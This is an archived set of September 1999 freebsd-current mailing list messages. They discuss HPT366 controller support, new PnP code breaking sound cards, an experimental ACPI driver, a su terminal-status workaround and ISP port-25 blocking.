Key fingerprint =  2C 51 E2 78 2C E1 C5 2D  0F F1 20 A3 11 3A 62 2A 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 18:30:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from users.anet-stl.com (users.anet-stl.com [209.145.150.20])
	by hub.freebsd.org (Postfix) with ESMTP id 1E6C715382
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 18:30:31 -0700 (PDT)
	(envelope-from doogie@anet-stl.com)
Received: from earth.anet-stl.com (earth.anet-stl.com [209.83.128.12]) by users.anet-stl.com (8.9.3/8.8.5) with SMTP id UAA00649; Sun, 26 Sep 1999 20:30:15 -0500 (CDT)
Date: Sun, 26 Sep 1999 20:30:15 -0500 (CDT)
From: Jason Young <doogie@anet-stl.com>
To: ktsin@mail.singtel-yp.com
Cc: current@FreeBSD.ORG
Subject: Re: New ATA, HPT366 and UDMA66
In-Reply-To: <19990927004959.32421.qmail@mail.singtel-yp.com>
Message-ID: <Pine.BSF.3.96.990926202526.23686A-100000@earth.anet-stl.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I looked at this yesterday (we just got one in). The HighPoint controller
has some specific initialization needs, just like the Promise controller.

The Linux code doesn't seem terribly twisted, although I didn't have
enough caffiene handy to try and interpret the logic and add it into the
new ATA driver. 

I wonder if Soren (sorry, I don't know how to persuade my machine to spell
your name correctly) would be interested in one so that he could work on
supporting it? I would be happy to send one.. email me privately. 

Jason Young
accessUS Chief Network Engineer

On Mon, 27 Sep 1999 ktsin@mail.singtel-yp.com wrote:

> Hi
> 
> I'm unable to get the new ATA driver to configure the HPT366 controller
> to use busmastering DMA and to make the IBM 22GXP drive run at UDMA66.
> 
> Linux HPT366 driver supports busmastering DMA and UDMA66.
> 
> Does anybody know how to fix this?
> 
> Below is a portion of the output from dmesg:
> 
> ata-pci1: <HighPoint HPT366 IDE controller> irq 18 at device 19.0 on pci0
> ata-pci1: Busmastering DMA not supported
>                        ^^^^^^^^^^^^^^^^^
> ata2 at 0xd800 irq 18 on ata-pci1
> ata-pci2: <HighPoint HPT366 IDE controller> irq 18 at device 19.1 on pci0
> ata-pci2: Busmastering DMA not supported
>                        ^^^^^^^^^^^^^^^^^
> atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
> atkbd0: <AT Keyboard> irq 1 on atkbdc0
> psm0: <PS/2 Mouse> irq 12 on atkbdc0
> psm0: model Generic PS/2 mouse, device ID 0
> vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
> sc0: <System console> on isa0
> sc0: VGA <16 virtual consoles, flags=0x200>
> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
> sio0: type 16550A
> sio1 at port 0x2f8-0x2ff irq 3 on isa0
> sio1: type 16550A
> unknown0: <CTRL> on isa0
> pcm0: <CS4235> at port 0x534-0x537,0x388-0x38b,0x220-0x22f irq 7 drq 1,0 on isa0
> unknown1: <GAME> at port 0x200-0x207 on isa0
> unknown2: <MPU> at port 0x330-0x331 irq 10 on isa0
> ad0: <Maxtor 86448D6/NAVXAF20> ATA-3 disk at ata0 as master
> ad0: 6149MB (12594960 sectors), 13328 cyls, 15 heads, 63 S/T, 512 B/S
> ad0: 16 secs/int, 0 depth queue, UDMA33
> Creating DISK ad0
> Creating DISK wd0
> ad1: <IBM-DJNA-371350/J76OA30K> ATA-4 disk at ata2 as master
> ad1: 12949MB (26520480 sectors), 26310 cyls, 16 heads, 63 S/T, 512 B/S
> ad1: 16 secs/int, 31 depth queue, PIO
>                                   ^^^
> Creating DISK ad1
> Creating DISK wd1
> 
> 
> Thanks,
> kt
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 19: 1:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from awfulhak.org (dynamic-44.max1-du-ws.dialnetwork.pavilion.co.uk [212.74.8.44])
	by hub.freebsd.org (Postfix) with ESMTP id 110C715595
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 19:01:46 -0700 (PDT)
	(envelope-from brian@Awfulhak.org)
Received: from keep.lan.Awfulhak.org (root@keep.lan.Awfulhak.org [172.16.0.8])
	by awfulhak.org (8.9.3/8.9.3) with ESMTP id BAA03539;
	Mon, 27 Sep 1999 01:25:01 +0100 (BST)
	(envelope-from brian@lan.awfulhak.org)
Received: from keep.lan.Awfulhak.org (brian@localhost.lan.Awfulhak.org [127.0.0.1])
	by keep.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id BAA29844;
	Mon, 27 Sep 1999 01:31:21 +0100 (BST)
	(envelope-from brian@keep.lan.Awfulhak.org)
Message-Id: <199909270031.BAA29844@keep.lan.Awfulhak.org>
X-Mailer: exmh version 2.0.2 2/24/98
To: Matthew Dillon <dillon@apollo.backplane.com>
Cc: "Gary Palmer" <gjp@in-addr.com>,
	Brian Somers <brian@Awfulhak.org>, current@FreeBSD.ORG
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
In-reply-to: Your message of "Sun, 26 Sep 1999 10:22:28 PDT."
             <199909261722.KAA66881@apollo.backplane.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 27 Sep 1999 01:31:21 +0100
From: Brian Somers <brian@Awfulhak.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

[.....]
>     Frankly, I have to agree that no dynamic dialup user should be allowed
>     to connect through to port 25 on anything but the ISPs own mail server.

Today, port 25... tomorrow the *WORLD* ha ha ha ha haaaaa !

An interesting extension:  If an AOL MX receives a message with an 
AOL from address from a non-AOL relay it's accepted for delivery and 
dropped in the bit-bucket.  Well, it's obviously spam (isn't it?) !

As I've stated before, default policies to prevent spam are fine - we 
all agree there.  But those policies must be published (they are at 
least not understood by AOL subscribers - I don't know if they're 
published) and any ISP that didn't remove them on demand (after 
subscription payment or some other guarantee) wouldn't get my money 
I'm afraid.  The reasons why have already been mentioned by others.

> 						-Matt

-- 
Brian <brian@Awfulhak.org>                        <brian@FreeBSD.org>
      <http://www.Awfulhak.org>                   <brian@OpenBSD.org>
Don't _EVER_ lose your sense of humour !          <brian@FreeBSD.org.uk>




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 19:14:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from drago.cert.org.tw (drago.cert.org.tw [140.117.100.10])
	by hub.freebsd.org (Postfix) with ESMTP id E142E14BF1
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 19:09:04 -0700 (PDT)
	(envelope-from foxfair@drago.cert.org.tw)
Received: from foxfair (foxfair.cc.nsysu.edu.tw [140.117.100.101])
	by drago.cert.org.tw (8.9.3/8.9.3) with SMTP id KAA01712;
	Mon, 27 Sep 1999 10:04:37 +0800 (CST)
	(envelope-from foxfair@drago.cert.org.tw)
Date: Mon, 27 Sep 1999 10:07:25 +0800
From: Foxfair Hu <foxfair@drago.cert.org.tw>
To: ktsin@mail.singtel-yp.com
Cc: current@FreeBSD.ORG
Subject: Re: New ATA, HPT366 and UDMA66
In-Reply-To: <19990927004959.32421.qmail@mail.singtel-yp.com>
References: <19990927004959.32421.qmail@mail.singtel-yp.com>
Message-Id: <37EED15D24E.9B41FOXFAIR@drago.cert.org.tw>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver 1.25.04
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


On Mon, 27 Sep 1999 08:49:59 +0800 (SGT)
ktsin@mail.singtel-yp.com wrote:

> Hi
> I'm unable to get the new ATA driver to configure the HPT366 controller
> to use busmastering DMA and to make the IBM 22GXP drive run at UDMA66.
> Linux HPT366 driver supports busmastering DMA and UDMA66.
> Does anybody know how to fix this?
> Below is a portion of the output from dmesg:
[................]

  Check the commit message from -cvs :
=====
sos         1999/09/24 05:36:11 PDT

  Modified files:
    sys/dev/ata          ata-all.c ata-disk.c ata-disk.h 
                         atapi-all.c atapi-all.h atapi-cd.c 
                         atapi-cd.h 
  Log:
  Fix timeout handeling and add retry counts.
  Add HPT366 probe message (but no real support yet),
  Add CDR support for several diffenrent blocktypes, also close
  disk as a multisession CD.
  
  Revision  Changes    Path
  1.22      +5 -5      src/sys/dev/ata/ata-all.c
  1.27      +17 -1     src/sys/dev/ata/ata-disk.c
  1.12      +2 -1      src/sys/dev/ata/ata-disk.h
  1.16      +17 -2     src/sys/dev/ata/atapi-all.c
  1.11      +2 -1      src/sys/dev/ata/atapi-all.h
  1.18      +32 -27    src/sys/dev/ata/atapi-cd.c
  1.7       +7 -7      src/sys/dev/ata/atapi-cd.h
===

  There is no UDMA66 support for HPT366 controller now in FreeBSD. Good
  news is it just works fine/rocky in UDMA33 and you can use it in this
  mode.

  I think the supporting code is under the progress now.
  
> Thanks,
> kt
> 

Cheers,
-Foxfair.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 19:42:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by hub.freebsd.org (Postfix) with ESMTP id 3793915BA5
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 19:42:34 -0700 (PDT)
	(envelope-from darrylo@sr.hp.com)
Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id WAA27312;
	Sun, 26 Sep 1999 22:39:02 -0400 (EDT)
Received: from mina.sr.hp.com (root@mina.sr.hp.com [15.4.42.247]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id TAA29896; Sun, 26 Sep 1999 19:39:23 -0700 (PDT)
Received: from localhost (darrylo@mina.sr.hp.com [15.4.42.247]) by mina.sr.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.7.3 TIS 5.0) id TAA25277; Sun, 26 Sep 1999 19:39:28 -0700 (PDT)
Message-Id: <199909270239.TAA25277@mina.sr.hp.com>
To: Peter Wemm <peter@netplex.com.au>
Cc: current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
Reply-To: Darryl Okahata <darrylo@sr.hp.com>
In-reply-to: Your message of "Mon, 27 Sep 1999 05:05:37 +0800."
             <19990926210537.86B141CC3@overcee.netplex.com.au> 
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
Date: Sun, 26 Sep 1999 19:39:27 -0700
From: Darryl Okahata <darrylo@sr.hp.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Peter Wemm <peter@netplex.com.au> wrote:

> We're not doing this because we enjoy pain and suffering, it's because
> it'll be better and more robust in the long run.  Unfortunately, there was
> no canonical list of logical ID's on the cards we used to recognize.
> 
> So I repeat for the list.. If you've got a card that used to work or does
> work under BIOS backwards compat preconfig with 'controller pnp0' disabled,
> please send us a dmesg and pnpinfo -v so we can add the ID's.  'controller
> pnp0' is quite likely to become non-optional soon so we can use the
> motherboard resource lists.

     I want to publicly thank Peter Wemm for posting a reply that is
courteous, informative, and useful.  Recently, there has been too much
noise in this and other FreeBSD lists/groups where other people have
been abrupt to the point of rudeness.

--
	Darryl Okahata
	darrylo@sr.hp.com

DISCLAIMER: this message is the author's personal opinion and does not
constitute the support, opinion, or policy of Hewlett-Packard, or of the
little green men that have been following him all day.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 19:52:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from picnic.mat.net (picnic.mat.net [206.246.122.133])
	by hub.freebsd.org (Postfix) with ESMTP id 1451614BE4
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 19:52:17 -0700 (PDT)
	(envelope-from chuckr@mat.net)
Received: from localhost (localhost [127.0.0.1])
	by picnic.mat.net (8.9.3/8.9.3) with ESMTP id WAA87419;
	Sun, 26 Sep 1999 22:51:38 -0400 (EDT)
	(envelope-from chuckr@mat.net)
Date: Sun, 26 Sep 1999 22:51:38 -0400 (EDT)
From: Chuck Robey <chuckr@mat.net>
To: Mike Smith <mike@smith.net.au>
Cc: Kenneth Wayne Culver <culverk@wam.umd.edu>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-Reply-To: <199909261934.MAA13613@dingo.cdrom.com>
Message-ID: <Pine.BSF.4.10.9909262249300.43867-100000@picnic.mat.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, 26 Sep 1999, Mike Smith wrote:

> > This is only partially related, but I still can't even boot a kernel with
> > the pnp0 controller enabled. It just hangs after probing the soundcard.
> 
> You seem to have accidentally deleted all of the details related to 
> this bug report from your email before sending it.  Please try again.

Mike, I'm checking into this on my own, so this isn't a question, but you
might want to know that I have a Turtle Beach PCI audio card, setup with
controller pnp0 and device pcm0, and getting about the same responses.
Things have stopped working (the mixer totally).

This is just data if you wanted it.  I can see the answer isn't laying at
your fingertips, so I will continue to read code.

> 

----------------------------------------------------------------------------
Chuck Robey                | Interests include C programming, Electronics,
213 Lakeside Dr. Apt. T-1  | communications, and signal processing.
Greenbelt, MD 20770        | I run picnic.mat.net: FreeBSD-current(i386) and
(301) 220-2114             |       jaunt.mat.net : FreeBSD-current(Alpha)
----------------------------------------------------------------------------



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 20:23:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from tasogare.imasy.or.jp (tasogare.imasy.or.jp [202.227.24.5])
	by hub.freebsd.org (Postfix) with ESMTP id B00DB14F39
	for <current@freebsd.org>; Sun, 26 Sep 1999 20:23:19 -0700 (PDT)
	(envelope-from iwasaki@jp.FreeBSD.org)
Received: from localhost (isdn3.imasy.or.jp [202.227.24.195])
	by tasogare.imasy.or.jp (8.9.3+3.2W/3.7W-tasogare/smtpfeed 1.01) with ESMTP id MAA17896;
	Mon, 27 Sep 1999 12:23:01 +0900 (JST)
	(envelope-from iwasaki@jp.FreeBSD.org)
Message-Id: <199909270323.MAA17896@tasogare.imasy.or.jp>
To: mike@smith.net.au
Cc: iwasaki@jp.FreeBSD.org, current@freebsd.org
Subject: Re: Experimental ACPI driver. 
In-Reply-To: Your message of "Sun, 26 Sep 1999 12:06:55 -0700"
	<199909261906.MAA13438@dingo.cdrom.com>
References: <199909261906.MAA13438@dingo.cdrom.com>
X-Mailer: Mew version 1.93 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Mon, 27 Sep 1999 12:25:44 +0900
From: Mitsuru IWASAKI <iwasaki@jp.FreeBSD.org>
X-Dispatcher: imput version 980905(IM100)
Lines: 38
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi, Mike.
# I'm very happy because of your reply :)

> > > We wrote experimental ACPI driver for 4.0-CURRENT.
> > 
> > This was just one week work so its functionallity is very very poor :-)
> > but I think it is good idea to start with this for developping ACPI
> > driver for FreeBSD because it is enough small to understand it.
> 
> I'm not sure this is the right way to go about it, although I haven't 
> looked at your code yet.  APCI is a big animal, and I think it's going 
> to take a proper design to get it right.

Indeed.  Also I think that this project cannot be achieved easily by
only one/two person's efforts.  I believe having this kind of prototype
makes our discussion easier.  We are going to prepare the materials
for our further discussion.

> The key components would appear to be a full AML parser, an object 
> manager to manage the ACPI namespace, and an AML interpreter to run the 
> AML methods.

Yes, Yes.

> > If someone already started wriring ACPI devive driver, please let us
> > know.  We'd like to merge them and would be happy in collaboration
> > with you.
> 
> Both Doug Rabson and myself have been tinkering with this, and there's 
> someone that's been looking at an AML parser/interpreter in the last 
> couple of weeks.  At this point in time, the parser and object manager 
> are the most vital components.

Now we got new friends :) Mr. Watanabe is going FreeBSDCon
(unfortunately I cannot), you can discuss this matter with him.
I think the time has come to start!

Thank you very much.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 20:36:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from akira.bhlewis.net (dsl-004-f.resnet.purdue.edu [128.211.160.55])
	by hub.freebsd.org (Postfix) with ESMTP id 9573014DED
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 20:36:28 -0700 (PDT)
	(envelope-from bhlewis@akira.bhlewis.net)
Received: from akira.bhlewis.net (localhost.home.bhl [127.0.0.1])
	by akira.bhlewis.net (Postfix) with ESMTP
	id ED58027B; Sun, 26 Sep 1999 22:36:32 -0500 (EST)
X-Mailer: exmh version 2.1.0 04/14/1999
To: Adam Strohl <adams@digitalspark.net>
Cc: current@FreeBSD.ORG
Subject: Re: Wierd su problem still there 
In-reply-to: Your message of "Sun, 26 Sep 1999 18:12:30 GMT."
             <Pine.BSF.4.10.9909261807190.365-100000@nightfall.digitalspark.net> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 22:36:32 -0500
From: Benjamin Lewis <bhlewis@akira.bhlewis.net>
Message-Id: <19990927033633.ED58027B@akira.bhlewis.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


adams@digitalspark.net said:
> adams@nightfall(18:06:51)$ su
> Password:load: 0.37  cmd: su 381 [ttyin] 0.00u 0.00s 0% 668k
> load: 0.37  cmd: su 381 [ttyin] 0.00u 0.00s 0% 668k
> load: 0.37  cmd: su 381 [ttyin] 0.00u 0.00s 0% 668k
> 
> each "load" line is an enter press.

[snip]

> As soon as I get this the app becomes totaly useless, I can't control-z or
> control-c it, I have to kill the term.
> 
> VNC (on the password prompt) and other random apps do this too, but you
> get the idea, I just rebuild/installed world from an cvsup from about 30
> minutes ago, this has been going on for over a week (I cvsup every day).
> 
> Any ideas?

I too have encountered the same symptoms.  I have no idea why this started 
happening, but I have found a couple ways around it.  First, two Control-Ds 
will act as a Return if you find the status lines appearing.  Second, the
stty command will fix it totally.  I use `stty status ^T' to remap the status 
command to Control-T rather than Control-J (the ^T is a carat, T):

  akira:/home/bhlewis [123]>su
  Password:load: 0.03  cmd: su 24921 [ttyin] 0.00u 0.00s 0% 624k
  [2 ^D's here]
  akira:/home/bhlewis [101]#exit
  exit
  akira:/home/bhlewis [124]>stty
  speed 38400 baud;
  lflags: echoe echok echoke echoctl pendin
  iflags: -ixany ignpar
  oflags: -oxtabs
  cflags: cs8 -parenb -hupcl
  status
  ^J      
  akira:/home/bhlewis [125]>stty status ^T
  akira:/home/bhlewis [126]>stty
  speed 38400 baud;
  lflags: echoe echok echoke echoctl pendin
  iflags: -ixany ignpar
  oflags: -oxtabs
  cflags: cs8 -parenb -hupcl
  akira:/home/bhlewis [127]>su
  Password:
  akira:/home/bhlewis [101]#

I hope this helps,

-Ben
-- 
Benjamin Lewis
bhlewis@gte.net         -or-       bhlewis@purdue.edu




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 21:23:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from garnet.sover.net (garnet.sover.net [209.198.87.53])
	by hub.freebsd.org (Postfix) with ESMTP id 18789152D7
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 21:23:55 -0700 (PDT)
	(envelope-from adams@digitalspark.net)
Received: from nightfall.digitalspark.net (arc0a169.bf.sover.net [209.198.85.169])
	by garnet.sover.net (8.9.3/8.9.3) with ESMTP id AAA13011;
	Mon, 27 Sep 1999 00:23:48 -0400 (EDT)
Comments: SoVerNet Verification (on garnet.sover.net)
	nightfall.digitalspark.net from arc0a169.bf.sover.net [209.198.85.169] 209.198.85.169
	Mon, 27 Sep 1999 00:23:48 -0400 (EDT)
Date: Mon, 27 Sep 1999 00:27:46 +0000 (GMT)
From: Adam Strohl <adams@digitalspark.net>
To: Benjamin Lewis <bhlewis@akira.bhlewis.net>
Cc: current@FreeBSD.ORG
Subject: Re: Wierd su problem still there 
In-Reply-To: <19990927033633.ED58027B@akira.bhlewis.net>
Message-ID: <Pine.BSF.4.10.9909270026130.379-100000@nightfall.digitalspark.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> I too have encountered the same symptoms.  I have no idea why this started 
> happening, but I have found a couple ways around it.  First, two Control-Ds 
> will act as a Return if you find the status lines appearing.  Second, the
> stty command will fix it totally.  I use `stty status ^T' to remap the status 
> command to Control-T rather than Control-J (the ^T is a carat, T):

Damn, that works like a charm, but I wonder what is causing this to begin
with.

> I hope this helps,

Yeah, good work around thanks :)

- ----( Adam Strohl )------------------------------------------------ -
-  UNIX Operations/Systems               http://www.digitalspark.net  -
-  adams (at) digitalspark.net                    xxx.xxx.xxxx xxxxx  -
- ----------------------------------------( DigitalSpark.NET )------- -




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 21:49: 0 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.forumone.com (orion.forumone.com [207.197.141.10])
	by hub.freebsd.org (Postfix) with ESMTP id 8EABC15594
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 21:48:56 -0700 (PDT)
	(envelope-from adhir@forumone.com)
Received: from orion.forumone.com (orion.forumone.com [207.197.141.10])
	by mail.forumone.com (Postfix) with ESMTP
	id 929E4A8E3; Mon, 27 Sep 1999 00:48:56 -0400 (EDT)
Date: Mon, 27 Sep 1999 00:48:56 -0400 (EDT)
From: "Alok K. Dhir" <adhir@forumone.com>
To: "Donald J . Maddox" <dmaddox@conterra.com>
Cc: Mike Smith <mike@smith.net.au>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
In-Reply-To: <19990926175056.A1179@dmaddox.conterra.com>
Message-ID: <Pine.BSF.4.10.9909270046260.89725-100000@orion.forumone.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Well said.

On Sun, 26 Sep 1999, Donald J . Maddox wrote:

> On a more personal note - What *is* your problem, anyway?  If you
> don't have anything useful to contribute to the conversation, why
> reply at all? Peter answered all my questions, and provided lots of
> useful information in a single missive.  I have yet to get anything
> from you except surly and wholely unhelpful responses.  Please - If
> you don't have any useful info, try to restrain yourself from the
> compulsion to reply.  Thank you in advance





To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 21:58:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles515.castles.com [208.214.165.79])
	by hub.freebsd.org (Postfix) with ESMTP id 9713914C32
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 21:58:15 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id VAA16466;
	Sun, 26 Sep 1999 21:50:51 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909270450.VAA16466@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: Chuck Robey <chuckr@mat.net>
Cc: Mike Smith <mike@smith.net.au>,
	Kenneth Wayne Culver <culverk@wam.umd.edu>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 22:51:38 EDT."
             <Pine.BSF.4.10.9909262249300.43867-100000@picnic.mat.net> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 21:50:51 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Sun, 26 Sep 1999, Mike Smith wrote:
> 
> > > This is only partially related, but I still can't even boot a kernel with
> > > the pnp0 controller enabled. It just hangs after probing the soundcard.
> > 
> > You seem to have accidentally deleted all of the details related to 
> > this bug report from your email before sending it.  Please try again.
> 
> Mike, I'm checking into this on my own, so this isn't a question, but you
> might want to know that I have a Turtle Beach PCI audio card, setup with
> controller pnp0 and device pcm0, and getting about the same responses.
> Things have stopped working (the mixer totally).

It sounds like your situation is completely different from Mr Culver's 
- his system is locked with interrupts masked during startup.

JFYI, the pnp device is only relevant to ISA - a PCI card is a PCI 
card, and is handled by the PCI bus code.

> This is just data if you wanted it.  I can see the answer isn't laying at
> your fingertips, so I will continue to read code.

You'll want to collect as much as you can and wait for Cameron to get 
back online.  One he's settled again we'll be trying to get as many
high-quality reports handed to him as possible, and anything that you 
can track down for yourself will greatly help.  (Heck, you may even 
find the problem yourself!)

-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 22:35:43 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252])
	by hub.freebsd.org (Postfix) with ESMTP id 3E32C15007
	for <freebsd-current@FreeBSD.ORG>; Sun, 26 Sep 1999 22:35:39 -0700 (PDT)
	(envelope-from olli@dorifer.heim3.tu-clausthal.de)
Received: (from olli@localhost)
	by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id HAA24332
	for freebsd-current@FreeBSD.ORG; Mon, 27 Sep 1999 07:35:38 +0200 (CEST)
	(envelope-from olli)
Date: Mon, 27 Sep 1999 07:35:38 +0200 (CEST)
From: Oliver Fromme <olli@dorifer.heim3.tu-clausthal.de>
Message-Id: <199909270535.HAA24332@dorifer.heim3.tu-clausthal.de>
To: freebsd-current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Organization: Administration Heim 3
Reply-To: freebsd-current@FreeBSD.ORG
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Newsreader: TIN [version 1.2 RZTUC(3) PL2]
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Mike Smith wrote in list.freebsd-current:
 > > Can you give me a few hints on what would be necessary to get the old
 > > driver to work with the new PnP?
 > 
 > As has already been explained to you (you _do_ read these messages in 
 > their entirety, right?), the old driver has been obsoleted.  You need 
 > to take the functionality that you want from the old driver and 
 > implement it in the newpcm code.

I don't think that would be the right approach.  The
functionality of the awe0 driver should be kept separate and
not be integrated in the pcm0 driver.  (After all, the awe0
driver has nothing to do with PCM.)

 > Since the AWE64 is already reported to work just fine with the current 
 > generation sound code,

Uhm, it is?  I don't think so.  My AWE64 doesn't work either
with "newpnp", and I haven't seen a report from someone for
whom it works.  Except for the SB16-compatible PCM part of
the AWE64, of course, which does work (at least I can play
mp3 files).  But the actual AWE part does not work.  It did
with the old code.

 > this sounds just a little hysterical to me.  You 
 > seem to have a slightly more specialised requirement that's not yet 
 > being catered to that does require some more attention.

Seems like I'm in the same situation as Donald.  The "slightly
more specialized requirement" is to get the AWE part of an
AWE64 to work, which I think is the whole point of having an
AWE64.  (If I just wanted PCM playback, I'd buy a cheaper
card.)

I'm aware that -- instead of whining around -- I should start
adapting the old awe0 driver to newpnp.  Indeed I would give
this a try if there was some documentation of the newpnp frame-
work, but I haven't found any, and I don't have the time to
find out on my own (this might seem lazy, but I do not regard
C source code as "documentation").

Anyway.  Downgrading that particular machine went fast and
easy, and now everything works fine again.

Regards
   Oliver

-- 
Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany
(Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de)

"In jedem Stück Kohle wartet ein Diamant auf seine Geburt"
                                         (Terry Pratchett)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 22:55:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id 97F2414F7D
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 22:55:24 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40355>; Mon, 27 Sep 1999 15:52:26 +1000
Date: Mon, 27 Sep 1999 15:55:12 +1000
From: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: Re: EGCS, or EGCS?
In-reply-to: <19990926233442.3238A1CC2@overcee.netplex.com.au>
To: peter@netplex.com.au
